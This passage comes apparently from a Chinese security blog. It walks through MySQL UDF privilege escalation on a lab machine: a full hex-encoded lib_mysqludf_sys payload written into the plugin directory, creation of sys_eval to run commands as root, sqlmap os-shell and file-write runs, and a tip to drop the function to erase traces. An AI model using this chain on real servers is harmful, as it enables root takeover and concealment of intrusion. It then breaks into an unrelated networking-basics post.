00b0000000000000000000000000000010000002000000000000000000000000000000000000000250000002000000000000000000000000000000000000000e0000000120000000000000000000000de01000000000000790100001200000000000000000000007700000000000000ba0000001200000000000000000000003504000000000000f5000000120000000000000000000000c2010000000000009e010000120000000000000000000000d900000000000000fb000000120000000000000000000000050000000000000016000000220000000000000000000000fe00000000000000cf000000120000000000000000000000ad00000000000000880100001200000000000000000000008000000000000000ab010000120000000000000000000000250100000000000010010000120000000000000000000000dc00000000000000c7000000120000000000000000000000c200000000000000b5000000120000000000000000000000cc02000000000000ed000000120000000000000000000000e802000000000000e70000001200000000000000000000009b00000000000000c200000012000000000000000000000028000000000000008001000012000b007a100000000000006e000000000000007500000012000b00a70d00000000000001000000000000001000000012000c00781100000000000000000000000000003f01000012000b001a100000000000002d000000000000001f01000012000900a00b0000000000000000000000000000c30100001000f1ff881720000000000000000000000000009600000012000b00ab0d00000000000001000000000000007001000012000b0066100000000000001400000000000000cf0100001000f1ff981720000000000000000000000000005600000012000b00a50d00000000000001000000000000000201000012000b002e0f0000000000002900000000000000a301000012000b00f71000000000000041000000000000003900000012000b00a40d00000000000001000000000000003201000012000b00ea0f0000000000003000000000000000bc0100001000f1ff881720000000000000000000000000006500000012000b00a60d00000000000001000000000000002501000012000b00800f0000000000006a000000000000008500000012000b00a80d00000000000003000000000000001701000012000b00570f00000000000029000000000000005501000012000b0047100000000000001f00000000000000a900000012000b00ac0d0000000000009a000000000000008f01000012000b00e8100000000000000f00000000000000d700000012000b00460e000000000000e800000000000000005f5f676d6f6e5f73746172745f5f005f66696e69005f5f6378615f66696e616c697a65005f4a765f5265676973746572436c6173736573006c69625f6d7973716c7564665f7379735f696e666f5f6465696e6974007379735f6765745f6465696e6974007379735f657865635f6465696e6974007379735f6576616c5f6465696e6974007379735f62696e6576616c5f696e6974007379735f62696e6576616c5f6465696e6974007379735f62696e6576616c00666f726b00737973636f6e66006d6d6170007374726e6370790077616974706964007379735f6576616c006d616c6c6f6300706f70656e007265616c6c6f630066676574730070636c6f7365007379735f6576616c5f696e697400737472637079007379735f657865635f696e6974007379735f7365745f696e6974007379735f6765745f696e6974006c69625f6d7973716c7564665f7379735f696e666f006c69625f6d7973716c7564665f7379735f696e666f5f696e6974007379735f657865630073797374656d007379735f73657400736574656e76007379735f7365745f6465696e69740066726565007379735f67657400676574656e76006c6962632e736f2e36005f6564617461005f5f6273735f7374617274005f656e6400474c4942435f322e322e35000000000000000000020002000200020002000200020002000200020002000200020002000200020001000100010001000100010001000100010001000100010001000100010001000100010001000100010001000100000001000100b20100001000000000000000751a690900000200d401000000000000801720000000000008000000000000008017200000000000d01620000000000006000000020000000000000000000000d81620000000000006000000030000000000000000000000e016200000000000060000000a00000000000000000000000017200000000000070000000400000000000000000000000817200000000000070000000500000000000000000000001017200000000000070000000600000000000000000000001817200000000000070000000700000000000000000000002017200000000000070000000800000000000000000000002817200000000000070000000900000000000000000000003017200000000000070000000a00000000000000000000003817200000000000070000000b00000000000000000000004017200000000000070000000c00000000000000000000004817200000000000070000000d00000000000000000000005017200000000000070000000e00000000000000000000005817200000000000070000000f00000000000000000000006017200000000000070000001000000000000000000000006817200000000000070000001100000000000000000000007017200000000000070000001200000000000000000000007817200000000000070000001300000000000000000000004883ec08e827010000e8c2010000e88d0500004883c408c3ff35320b2000ff25340b20000f1f4000ff25320b20006800000000e9e0ffffffff252a0b20006801000000e9d0ffffffff25220b20006802000000e9c0ffffffff251a0b20006803000000e9b0ffffffff25120b20006804000000e9a0ffffffff250a0b20006805000000e990ffffffff25020b20006806000000e980ffffffff25fa0a20006807000000e970ffffffff25f20a20006808000000e960ffffffff25ea0a20006809000000e950ffffffff25e20a2000680a000000e940ffffffff25da0a2000680b000000e930ffffffff25d20a2000680c000000e920ffffffff25ca0a2000680d000000e910ffffffff25c20a2000680e000000e900ffffffff25ba0a2000680f000000e9f0feffff00000000000000004883ec08488b05f50920004885c07402ffd04883c408c390909090909090909055803d900a2000004889e5415453756248833dd809200000740c488b3d6f0a2000e812ffffff488d05130820004c8d2504082000488b15650a20004c29e048c1f803488d58ff4839da73200f1f440000488d4201488905450a200041ff14c4488b153a0a20004839da72e5c605260a2000015b415cc9c3660f1f8400000000005548833dbf072000004889e57422488b05530920004885c07416488d3da70720004989c3c941ffe30f1f840000000000c9c39090c3c3c3c331c0c3c341544883c9ff4989f455534883ec10488b4610488b3831c0f2ae48f7d1488d69ffe8b6feffff83f80089c77c61754fbf1e000000e803feffff488d70ff4531c94531c031ffb921000000ba07000000488d042e48f7d64821c6e8aefeffff4883f8ff4889c37427498b4424104889ea4889df488b30e852feffffffd3eb0cba0100000031f6e802feffff31c0eb05b8010000005a595b5d415cc34157bf00040000415641554531ed415455534889f34883ec1848894c24104c89442408e85afdffffbf010000004989c6e84dfdffffc600004889c5488b4310488d356a030000488b38e814feffff4989c7eb374c89f731c04883c9fff2ae4889ef48f7d1488d59ff4d8d641d004c89e6e8ddfdffff4a8d3c284889da4c89f64d89e54889c5e8a8fdffff4c89fabe080000004c89f7e818fdffff4885c075b44c89ffe82bfdffff807d0000750a488b442408c60001eb1f42c6442dff0031c04883c9ff4889eff2ae488b44241048f7d148ffc94889084883c4184889e85b5d415c415d415e415fc34883ec08833e014889d7750b488b460831d2833800740e488d353a020000e817fdffffb20188d05ec34883ec08833e014889d7750b488b460831d2833800740e488d3511020000e8eefcffffb20188d05fc3554889fd534889d34883ec08833e027409488d3519020000eb3f488b46088338007409488d3526020000eb2dc7400400000000488b4618488b384883c70248037808e801fcffff31d24885c0488945107511488d351f0200004889dfe887fcffffb20141585b88d05dc34883ec08833e014889f94889d77510488b46088338007507c6010131c0eb0e488d3576010000e853fcffffb0014159c34154488d35ef0100004989cc4889d7534889d34883ec08e832fcffff49c704241e0000004889d8415a5b415cc34883ec0831c0833e004889d7740e488d35d5010000e807fcffffb001415bc34883ec08488b4610488b38e862fbffff5a4898c34883ec28488b46184c8b4f104989f2488b08488b46104c89cf488b004d8d4409014889c6f3a44c89c7498b4218488b0041c6040100498b4210498b5218488b4008488b4a08ba010000004889c6f3a44c89c64c89cf498b4218488b400841c6040000e867fbffff4883c4284898c3488b7f104885ff7405e912fbffffc3554889cd534c89c34883ec08488b4610488b38e849fbffff4885c04889c27505c60301eb1531c04883c9ff4889d7f2ae48f7d148ffc948894d00595b4889d05dc39090909090909090554889e5534883ec08488b05c80320004883f8ff7419488d1dbb0320000f1f004883eb08ffd0488b034883f8ff75f14883c4085bc9c390904883ec08e86ffbffff4883c408c345787065637465642065786163746c79206f6e6520737472696e67207479706520706172616d657465720045787065637465642065786163746c792074776f20617267756d656e747300457870656374656420737472696e67207479706520666f72206e616d6520706172616d6574657200436f756c64206e6f7420616c6c6f63617465206d656d6f7279006c69625f6d7973716c7564665f7379732076657273696f6e20302e302e34004e6f20617267756d656e747320616c6c6f77656420287564663a206c69625f6d7973716c7564665f7379735f696e666f290000011b033b980000001200000040fbffffb400000041fbffffcc00000042fbffffe400000043fbfffffc00000044fbffff1401000047fbffff2c01000048fbffff44010000e2fbffff6c010000cafcffffa4010000f3fcffffbc0100001cfdffffd401000086fdfffff4010000b6fdffff0c020000e3fdffff2c02000002feffff4402000016feffff5c02000084feffff7402000093feffff8c0200001400000000000000017a5200017810011b0c070890010000140000001c00000084faffff01000000000000000000000014000000340000006dfaffff010000000000000000000000140000004c00000056faffff01000000000000000000000014000000640000003ffaffff010000000000000000000000140000007c00000028faffff030000000000000000000000140000009400000013faffff01000000000000000000000024000000ac000000fcf9ffff9a00000000420e108c02480e18410e20440e3083048603000000000034000000d40000006efaffffe800000000420e10470e18420e208d048e038f02450e28410e30410e38830786068c05470e50000000000000140000000c0100001efbffff2900000000440e100000000014000000240100002ffbffff2900000000440e10000000001c0000003c01000040fbffff6a00000000410e108602440e188303470e200000140000005c0100008afbffff3000000000440e10000000001c00000074010000a2fbffff2d00000000420e108c024e0e188303470e2000001400000094010000affbffff1f00000000440e100000000014000000ac010000b6fbffff1400000000440e100000000014000000c4010000b2fbffff6e00000000440e300000000014000000dc01000008fcffff0f00000000000000000000001c000000f4010000fffbffff4100000000410e108602440e188303470e2000000000000000000000ffffffffffffffff0000000000000000ffffffffffffffff000000000000000000000000000000000100000000000000b2010000000000000c00000000000000a00b0000000000000d00000000000000781100000000000004000000000000005801000000000000f5feff6f00000000a00200000000000005000000000000006807000000000000060000000000000060030000000000000a00000000000000e0010000000000000b0000000000000018000000000000000300000000000000e81620000000000002000000000000008001000000000000140000000000000007000000000000001700000000000000200a0000000000000700000000000000c0090000000000000800000000000000600000000000000009000000000000001800000000000000feffff6f00000000a009000000000000ffffff6f000000000100000000000000f0ffff6f000000004809000000000000f9ffff6f0000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000401520000000000000000000000000000000000000000000ce0b000000000000de0b000000000000ee0b000000000000fe0b0000000000000e0c0000000000001e0c0000000000002e0c0000000000003e0c0000000000004e0c0000000000005e0c0000000000006e0c0000000000007e0c0000000000008e0c0000000000009e0c000000000000ae0c000000000000be0c0000000000008017200000000000004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200002e7368737472746162002e676e752e68617368002e64796e73796d002e64796e737472002e676e752e76657273696f6e002e676e752e76657273696f6e5f72002e72656c612e64796e002e72656c612e706c74002e696e6974002e74657874002e66696e69002e726f64617461002e65685f6672616d655f686472002e65685f6672616d65002e63746f7273002e64746f7273002e6a6372002e64796e616d6963002e676f74002e676f742e706c74002e64617461002e627373002e636f6d6d656e7400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0000000500000002000000000000005801000000000000580100000000000048010000000000000300000000000000080000000000000004000000000000000b000000f6ffff6f0200000000000000a002000000000000a002000000000000c000000000000000030000000000000008000000000000000000000000000000150000000b00000002000000000000006003000000000000600300000000000008040000000000000400000002000000080000000000000018000000000000001d00000003000000020000000000000068070000000000006807000000000000e00100000000000000000000000000000100000000000000000000000000000025000000ffffff6f020000000000000048090000000000004809000000000000560000000000000003000000000000000200000000000000020000000000000032000000feffff6f0200000000000000a009000000000000a009000000000000200000000000000004000000010000000800000000000000000000000000000041000000040000000200000000000000c009000000000000c00900000000000060000000000000000300000000000000080000000000000018000000000000004b000000040000000200000000000000200a000000000000200a0000000000008001000000000000030000000a0000000800000000000000180000000000000055000000010000000600000000000000a00b000000000000a00b000000000000180000000000000000000000000000000400000000000000000000000000000050000000010000000600000000000000b80b000000000000b80b00000000000010010000000000000000000000000000040000000000000010000000000000005b000000010000000600000000000000d00c000000000000d00c000000000000a80400000000000000000000000000001000000000000000000000000000000061000000010000000600000000000000781100000000000078110000000000000e000000000000000000000000000000040000000000000000000000000000006700000001000000320000000000000086110000000000008611000000000000dd000000000000000000000000000000010000000000000001000000000000006f000000010000000200000000000000641200000000000064120000000000009c000000000000000000000000000000040000000000000000000000000000007d000000010000000200000000000000001300000000000000130000000000001402000000000000000000000000000008000000000000000000000000000000870000000100000003000000000000001815200000000000181500000000000010000000000000000000000000000000080000000000000000000000000000008e000000010000000300000000000000281520000000000028150000000000001000000000000000000000000000000008000000000000000000000000000000950000000100000003000000000000003815200000000000381500000000000008000000000000000000000000000000080000000000000000000000000000009a000000060000000300000000000000401520000000000040150000000000009001000000000000040000000000000008000000000000001000000000000000a3000000010000000300000000000000d016200000000000d0160000000000001800000000000000000000000000000008000000000000000800000000000000a8000000010000000300000000000000e816200000000000e8160000000000009800000000000000000000000000000008000000000000000800000000000000b1000000010000000300000000000000801720000000000080170000000000000800000000000000000000000000000008000000000000000000000000000000b7000000080000000300000000000000881720000000000088170000000000001000000000000000000000000000000008000000000000000000000000000000bc000000010000000000000000000000000000000000000088170000000000009b000000000000000000000000000000010000000000000000000000000000000100000003000000000000000000000000000000000000002318000000000000c500000000000000000000000000000001000000000000000000000000000000 INTO DUMPFILE '/usr/local/mysql/lib/plugin/udf.so'; 创建函数 先在本地查看有哪些函数可用 12345678910111213141516171819202122232425262728293031323334353637383940414243┌──(kali㉿kali)-[/usr/share/metasploit-framework/data/exploits/mysql]└─$ nm -D lib_mysqludf_sys_64.so 0000000000201788 A __bss_start w __cxa_finalize@GLIBC_2.2.50000000000201788 A _edata0000000000201798 A _end U fgets@GLIBC_2.2.50000000000001178 T _fini U fork@GLIBC_2.2.5 U free@GLIBC_2.2.5 U getenv@GLIBC_2.2.5 w __gmon_start__0000000000000ba0 T _init w _Jv_RegisterClasses000000000000101a T lib_mysqludf_sys_info0000000000000da4 T lib_mysqludf_sys_info_deinit0000000000001047 T lib_mysqludf_sys_info_init U malloc@GLIBC_2.2.5 U mmap@GLIBC_2.2.5 U pclose@GLIBC_2.2.5 U popen@GLIBC_2.2.5 U realloc@GLIBC_2.2.5 U setenv@GLIBC_2.2.5 U strcpy@GLIBC_2.2.5 U strncpy@GLIBC_2.2.50000000000000dac T sys_bineval0000000000000dab T sys_bineval_deinit0000000000000da8 T sys_bineval_init U sysconf@GLIBC_2.2.50000000000000e46 T sys_eval0000000000000da7 T sys_eval_deinit0000000000000f2e T sys_eval_init0000000000001066 T sys_exec0000000000000da6 T sys_exec_deinit0000000000000f57 T sys_exec_init00000000000010f7 T sys_get0000000000000da5 T sys_get_deinit0000000000000fea T sys_get_init000000000000107a T sys_set00000000000010e8 T sys_set_deinit0000000000000f80 T sys_set_init U system@GLIBC_2.2.5 U waitpid@GLIBC_2.2.5 lib_mysqludf_sys_info_init、lib_mysqludf_sys_info 和 lib_mysqludf_sys_info_deinit:这些函数用于加载和卸载 MySQL 用户定义函数(UDF)。lib_mysqludf_sys_info_init 是用于初始化 UDF 的函数,在加载 UDF 之前调用。lib_mysqludf_sys_info 是 UDF 的主体函数,它执行实际的操作。lib_mysqludf_sys_info_deinit 是在卸载 UDF 时进行清理的函数。 sys_eval(command)、sys_eval_init 和 sys_eval_deinit:这些函数用于执行系统命令。sys_eval_init 在执行命令前进行初始化操作,sys_eval 执行指定的系统命令,并返回其输出结果,sys_eval_deinit 在完成操作后进行清理工作。 sys_exec(command)、sys_exec_init 和 sys_exec_deinit:这些函数用于执行系统命令,并返回执行结果。sys_exec_init 在执行命令前进行初始化操作,sys_exec 执行指定的系统命令,并返回其退出码(返回状态),sys_exec_deinit 在完成操作后进行清理工作。 sys_set(environment_variable, value)、sys_set_init 和 sys_set_deinit:这些函数用于设置环境变量。sys_set_init 在设置环境变量前进行初始化操作,sys_set 创建或修改指定的环境变量和其对应的值,sys_set_deinit 在完成操作后进行清理工作。 sys_get(environment_variable)、sys_get_init 和 sys_get_deinit:这些函数用于获取环境变量的值。sys_get_init 在获取环境变量前进行初始化操作,sys_get 获取指定环境变量的值,并将其作为字符串返回,sys_get_deinit 在完成操作后进行清理工作。 sys_bineval(command)、sys_bineval_init 和 sys_bineval_deinit:这些函数用于执行二进制命令。sys_bineval_init 对执行命令进行初始化操作,sys_bineval 执行指定的二进制命令,sys_bineval_deinit 在完成操作后进行清理工作。 123-- 创建`sys_eval`函数mysql> create function sys_eval returns string soname 'udf.so';Query OK, 0 rows affected (0.01 sec) 函数操作 12345678910111213141516171819202122-- 调用函数mysql> select sys_eval('whoami');+--------------------+| sys_eval('whoami') |+--------------------+| root |+--------------------+1 row in set (0.03 sec)-- 查看函数mysql> select * from mysql.func;+----------+-----+--------+----------+| name | ret | dl | type |+----------+-----+--------+----------+| sys_eval | 0 | udf.so | function |+----------+-----+--------+----------+1 row in set (0.00 sec)-- 删除函数(清除痕迹),如果要删除函数,必须udf文件还存在plugin目录下drop function sys_eval;或delete from mysql.func where name='sys_eval'; 利用sqlmap全自动化123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263# -d 是用于指定要进行目标数据库测试的参数# --os-shell 获取一个交互式操作系统shell# mysql://:表示使用 MySQL 协议连接。# root:123456:表示使用用户名和密码进行身份验证,其中 root 是用户名,123456是密码。# 192.168.64.172:表示目标主机的 IP 地址。# 3306:表示目标 MySQL 服务器的端口号。# /mysql:表示要连接的数据库名称┌──(kali㉿kali)-[~/桌面/OSCP Like Machines/Vulnhub/0x04 .assets]└─$ sudo sqlmap -d "mysql://root:123456@192.168.64.172:3306/mysql" --os-shell ___ __H__ ___ ___[']_____ ___ ___ {1.7.8#stable} |_ -| . ['] | .'| . | |___|_ [)]_|_|_|__,| _| |_|V... |_| https://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting @ 16:47:45 /2020-12-21/[16:47:45] [INFO] flushing session file[16:47:45] [INFO] connection to MySQL server '192.168.64.172:3306' established[16:47:45] [INFO] testing MySQL[16:47:45] [INFO] confirming MySQL[16:47:45] [INFO] the back-end DBMS is MySQL[16:47:45] [WARNING] (remote) ProgrammingError: (MySQLdb._exceptions.ProgrammingError) not enough arguments for format string[16:47:45] [WARNING] (remote) ProgrammingError: (MySQLdb._exceptions.ProgrammingError) not enough arguments for format string[16:47:45] [WARNING] (remote) ProgrammingError: (MySQLdb._exceptions.ProgrammingError) not enough arguments for format string[16:47:45] [WARNING] (remote) ProgrammingError: (MySQLdb._exceptions.ProgrammingError) not enough arguments for format string[16:47:45] [WARNING] (remote) ProgrammingError: (MySQLdb._exceptions.ProgrammingError) not enough arguments for format stringback-end DBMS: MySQL >= 5.0.0[16:47:45] [INFO] fingerprinting the back-end DBMS operating system[16:47:45] [INFO] the back-end DBMS operating system is Linux[16:47:45] [WARNING] (remote) OperationalError: (MySQLdb._exceptions.OperationalError) (1051, "Unknown table 'mysql.sqlmapfile'")[16:47:45] [WARNING] (remote) OperationalError: (MySQLdb._exceptions.OperationalError) (1051, "Unknown table 'mysql.sqlmapfilehex'") [16:47:45] [INFO] testing if current user is DBA[16:47:45] [INFO] fetching current userwhat is the back-end database management system architecture?[1] 32-bit (default)[2] 64-bit> 2[16:47:47] [INFO] checking if UDF 'sys_exec' already exist[16:47:47] [INFO] checking if UDF 'sys_eval' already exist[16:47:47] [INFO] detecting back-end DBMS version from its banner[16:47:47] [INFO] retrieving MySQL plugin directory absolute path[16:47:47] [WARNING] (remote) OperationalError: (MySQLdb._exceptions.OperationalError) (1051, "Unknown table 'mysql.sqlmapfile'")[16:47:47] [INFO] the local file '/tmp/sqlmapalvrq_2j173244/lib_mysqludf_sys2r2q21dc.so' and the remote file '/usr/local/mysql/lib/plugin/libsxhpl.so' have the same size (8040 B) [16:47:47] [WARNING] (remote) OperationalError: (MySQLdb._exceptions.OperationalError) (1051, "Unknown table 'mysql.sqlmapfilehex'") [16:47:47] [INFO] creating UDF 'sys_exec' from the binary UDF file[16:47:47] [WARNING] (remote) OperationalError: (MySQLdb._exceptions.OperationalError) (1305, 'FUNCTION mysql.sys_exec does not exist') [16:47:47] [INFO] creating UDF 'sys_eval' from the binary UDF file[16:47:47] [WARNING] (remote) OperationalError: (MySQLdb._exceptions.OperationalError) (1305, 'FUNCTION mysql.sys_eval does not exist') [16:47:47] [WARNING] (remote) OperationalError: (MySQLdb._exceptions.OperationalError) (1051, "Unknown table 'mysql.sqlmapoutput'")[16:47:47] [INFO] going to use injected user-defined functions 'sys_eval' and 'sys_exec' for operating system command execution[16:47:47] [INFO] calling Linux OS shell. To quit type 'x' or 'q' and press ENTERos-shell> whoamido you want to retrieve the command standard output? [Y/n/a] ycommand standard output: 'root'os-shell> iddo you want to retrieve the command standard output? [Y/n/a] ycommand standard output: 'uid=0(root) gid=0(root) 组=0(root) 环境=system_u:system_r:unconfined_service_t:s0'os-shell> 半自动化获取plugin目录123456789101112131415161718192021222324252627┌──(kali㉿kali)-[~/桌面/OSCP Like Machines/Vulnhub/0x04 .assets]└─$ sudo sqlmap -d "mysql://root:123456@192.168.64.172:3306/mysql" --sql-shell ___ __H__ ___ ___[,]_____ ___ ___ {1.7.8#stable}|_ -| . [(] | .'| . ||___|_ [(]_|_|_|__,| _| |_|V... |_| https://sqlmap.org[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting @ 16:50:43 /2020-12-21/[16:50:43] [INFO] connection to MySQL server '192.168.64.172:3306' established[16:50:43] [INFO] testing MySQL[16:50:43] [INFO] resumed: [['1']]...[16:50:43] [INFO] confirming MySQL[16:50:43] [INFO] resumed: [['1']]...[16:50:43] [INFO] the back-end DBMS is MySQLback-end DBMS: MySQL >= 5.0.0[16:50:43] [INFO] calling MySQL shell. To quit type 'x' or 'q' and press ENTERsql-shell> select @@plugin_dir;[16:50:58] [INFO] fetching SQL SELECT statement query output: 'select @@plugin_dir'[16:50:58] [INFO] resumed: [['/usr/local/mysql/lib/plugin/']]...select @@plugin_dir: '/usr/local/mysql/lib/plugin/'sql-shell> 得到plugin目录为/usr/local/mysql/lib/plugin/。 上传lib_mysqludf_sys到plugin目录1234567891011121314151617181920212223242526272829303132333435# --file-write 参数用于指定要写入的文件路径,# --file-dest 参数用于指定目标系统中要将文件写入的位置# 具体来说,--file-write 参数指定了要写入的文件,而 --file-dest 参数指定了文件在目标系统中的目标路径。┌──(kali㉿kali)-[~]└─$ sudo sqlmap -d "mysql://root:123456@192.168.64.172:3306/mysql" --file-write=/usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_64.so --file-dest=/usr/local/mysql/lib/plugin/lib_mysqludf_sys_64.so ___ __H__ ___ ___[']_____ ___ ___ {1.7.8#stable}|_ -| . ["] | .'| . ||___|_ [(]_|_|_|__,| _| |_|V... |_| https://sqlmap.org[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting @ 16:54:31 /2020-12-21/[16:54:31] [INFO] connection to MySQL server '192.168.64.172:3306' established[16:54:31] [INFO] testing MySQL[16:54:31] [INFO] resumed: [['1']]...[16:54:31] [INFO] confirming MySQL[16:54:31] [INFO] resumed: [['1']]...[16:54:31] [INFO] the back-end DBMS is MySQLback-end DBMS: MySQL >= 5.0.0[16:54:31] [INFO] fingerprinting the back-end DBMS operating system[16:54:31] [INFO] resumed: [['0']]...[16:54:31] [INFO] the back-end DBMS operating system is Linux[16:54:31] [WARNING] (remote) OperationalError: (MySQLdb._exceptions.OperationalError) (1051, "Unknown table 'mysql.sqlmapfile'")[16:54:31] [WARNING] (remote) OperationalError: (MySQLdb._exceptions.OperationalError) (1051, "Unknown table 'mysql.sqlmapfilehex'")[16:54:31] [WARNING] (remote) OperationalError: (MySQLdb._exceptions.OperationalError) (1051, "Unknown table 'mysql.sqlmapfile'")do you want confirmation that the local file '/usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_64.so' has been successfully written on the back-end DBMS file system ('/usr/local/mysql/lib/plugin/lib_mysqludf_sys_64.so')? [Y/n] y[16:54:34] [INFO] the local file '/usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_64.so' and the remote file '/usr/local/mysql/lib/plugin/lib_mysqludf_sys_64.so' have the same size (8040 B)[16:54:34] [WARNING] (remote) OperationalError: (MySQLdb._exceptions.OperationalError) (1051, "Unknown table 'mysql.sqlmapfilehex'") [16:54:34] [INFO] connection to MySQL server '192.168.64.172:3306' closed[*] ending @ 16:54:34 /2020-12-21/ 创建&执行函数12345678910111213141516171819202122232425262728┌──(kali㉿kali)-[~]└─$ sudo sqlmap -d "mysql:--root:123456@192.168.64.172:3306/mysql" --sql-shell ___ __H__ ___ ___[.]_____ ___ ___ {1.7.8--stable} |_ -| . [,] | .'| . | |___|_ [(]_|_|_|__,| _| |_|V... |_| https:--sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting @ 16:55:30 /2020-12-21/[16:55:30] [INFO] connection to MySQL server '192.168.64.172:3306' established[16:55:30] [INFO] testing MySQL[16:55:30] [INFO] resumed: [['1']]...[16:55:30] [INFO] confirming MySQL[16:55:30] [INFO] resumed: [['1']]...[16:55:30] [INFO] the back-end DBMS is MySQLback-end DBMS: MySQL >= 5.0.0[16:55:30] [INFO] calling MySQL shell. To quit type 'x' or 'q' and press ENTERsql-shell> create function sys_eval returns string soname 'lib_mysqludf_sys_64.so'[16:55:50] [INFO] executing SQL data definition statement: 'create function sys_eval returns string soname 'lib_mysqludf_sys_64.so''create function sys_eval returns string soname 'lib_mysqludf_sys_64.so': 'NULL'sql-shell> select sys_eval('whoami');[16:56:00] [INFO] fetching SQL SELECT statement query output: 'select sys_eval('whoami')'select sys_eval('whoami'): 'root'sql-shell> 启动项提权https://www.sqlsec.com/2020/11/mysql.html#%E5%90%AF%E5%8A%A8%E9%A1%B9%E6%8F%90%E6%9D%83https://www.sqlsec.com/2020/11/mysql.html#%E5%90%AF%E5%8A%A8%E9%A1%B9%E6%8F%90%E6%9D%83 MOF提权https://www.sqlsec.com/2020/11/mysql.html#MOF-%E6%8F%90%E6%9D%83https://www.sqlsec.com/2020/11/mysql.html#MOF-%E6%8F%90%E6%9D%83","tags":["信息安全","信息收集","Nday","权限提升"],"categories":["Security"]},{"title":"五. 计算机网络基础","path":"/2020/06/06/82a73708/","content":"总字符数: 39.02K 代码: 1.56K, 文本: 25.86K 预计阅读时间: 1.99 小时 Web请求过程剖析 Web(World Wide Web)是指全球范围内的一系列互联网资源和文件的集合,这些资源和文件通过超文本传输协议(HTTP)进行传输和访问. 我们通常所说的Web指的是面向大众的互联网,是一种基于互联网的信息传递和共享方式. 通俗来说,Web就像是一座大图书馆,里面收藏了无数的书籍和资料. 我们可以通过电脑、手机等设备连接到互联网,访问Web上的各种网站和应用,获取各种信息和服务.就像在图书馆里查阅书籍一样 我们可以在Web上搜索各种信息、浏览新闻、购买商品、观看视频、玩游戏等等. 同时,我们也可以通过Web来发布信息、分享知识、交流想法、开展业务等等,使得信息的传递和共享更加便捷和高效. 那就先引入一个叫URL的概念 URL构成这是重点!!!! 123456789# 名词解释scheme:协议Domain Name:域名Port:端口号Path to the file:虚拟目录/或文件名myfile.html:文件名Parameters:参数Anchor:锚点# HTML中的锚点(Anchor)是指在同一页面内,通过添加链接到页面中的某个具体位置,使得用户可以直接跳转到该位置的标识.锚点的作用是可以方便用户快速定位到页面中的某个具体位置,而不需要手动滚动页面进行查找.锚点通常使用a标签和name属性来实现 上面又提到了一个名词:域名!那什么是域名呢? 域名 域名(Domain Name)是互联网上用于标识和定位网站的一种名称.它是由一串用点分隔的字符组成的,通常包含站点的名称、组织机构的名称、国家或地区的名称等等,最后以一个顶级域名结尾,如.com、.cn、.org等等. 域名的作用是将IP地址(Internet Protocol Address)转化为易于记忆的字符串,使人们更方便地访问互联网上的各种资源,如网站、电子邮件、FTP等等. 域名的注册和管理由全球互联网域名与地址分配机构(ICANN)负责,全球各地的注册商可以向ICANN申请注册和管理不同的顶级域名,如.com、.cn、.org等等.一般而言,注册商会向用户提供域名注册和管理服务,用户可以在注册商的网站上查询和申请域名、设置DNS服务器、管理域名等等. 总的来说,域名是互联网上的一个重要概念,它使人们更加方便地访问和管理各种网络资源,是互联网基础架构的重要组成部分. 以上提到的DNS服务器的作用就是将域名解析为IP地址 域名的作用是什么?为什么会出现这种东西?域名在互联网上扮演着关键角色,其重要性可以从多个角度来理解:便于记忆:就像名字比身份证号更易于记忆和传递,域名用易记的单词替代数字组成的IP地址,让人们轻松地记住和访问网站.访问便利:域名作为网站的地址,使得用户可以快速访问到企业和组织的在线信息,而不需要记忆可能频繁变更的IP地址.抽象层:域名隐藏了网络复杂性,用户不需要了解服务器的具体IP地址和网络连接细节,只需知道简单的域名.品牌识别:域名与企业品牌紧密关联,成为企业在互联网上宣传品牌形象的有力工具.组织结构:域名系统的层级结构,类似行政区划的级别,有助于组织和管理网络上复杂的身份与资源.网络架构:在互联网的快速发展中,域名使得单个IP地址可以托管多个网站,并在服务器变更时为用户提供无缝访问体验.综合以上各点,我们可以看到域名不仅仅是一个方便记忆和访问的标签,它还是网络上企业身份的象征、品牌宣传的平台,以及组织网络资源的有效工具.简而言之,域名是连接用户和互联网服务的桥梁,其重要性不言而喻.通过这个网络地址,人们可以轻松地在广阔的互联网世界中找到和接触到企业或个人的在线门户. 请求过程剖析 Web服务器的过程可以简单理解为以下几个步骤: 客户端发送请求:当用户在浏览器中输入网址或者点击链接时,浏览器会向Web服务器发送一个HTTP请求. Web服务器接收请求:Web服务器收到请求后,会根据请求的URL路径和参数等信息,找到对应的服务器程序,然后调用相应的处理函数. 服务器程序处理请求:服务器程序会根据请求的内容,执行相应的逻辑,比如读取数据库中的数据、生成动态页面等操作. 服务器程序返回响应:服务器程序处理完请求后,会将处理结果封装成HTTP响应,包括响应码、响应头、响应体等信息,发送给Web服务器. Web服务器返回响应:Web服务器收到服务器程序返回的响应后,将其发送给客户端浏览器,浏览器根据响应内容进行解析和渲染,最终呈现给用户. 整个过程中,Web服务器起到了桥梁的作用,连接了客户端浏览器和服务器程序,并负责将双方的请求和响应进行转发和处理. 渲染模式 服务器渲染(MVC):在服务器那边直接把数据和html整合在一起,统一返回给浏览器,在页面源代码中可以看到数据 客户端渲染(MVVM):第一次请求只要一个html骨架.第二次请求拿到数据,进行数据展示.在页面源代码中看不到数据 客户端渲染和服务端渲染都是常见的Web开发方式,它们各自具有一些优缺点. 